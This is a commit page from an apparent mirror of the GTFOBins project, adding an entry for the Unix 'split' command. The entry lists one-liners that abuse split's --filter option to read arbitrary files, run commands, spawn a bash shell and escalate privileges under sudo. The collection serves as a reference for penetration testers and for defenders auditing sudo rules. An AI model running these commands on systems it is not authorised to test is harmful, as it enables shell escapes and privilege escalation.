1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

New command: split

This commit is contained in:
Emanuel Duss 2020-11-13 11:59:14 +01:00
parent c88e461484
commit cb7cb672f2

27
_gtfobins/split.md Normal file
View File

@ -0,0 +1,27 @@
---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
command:
- description: Command execution using an existing or new created file.
- code: |
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
- code: |
split --filter=bash /dev/stdin
sudo:
- code: |
split --filter=bash /dev/stdin
---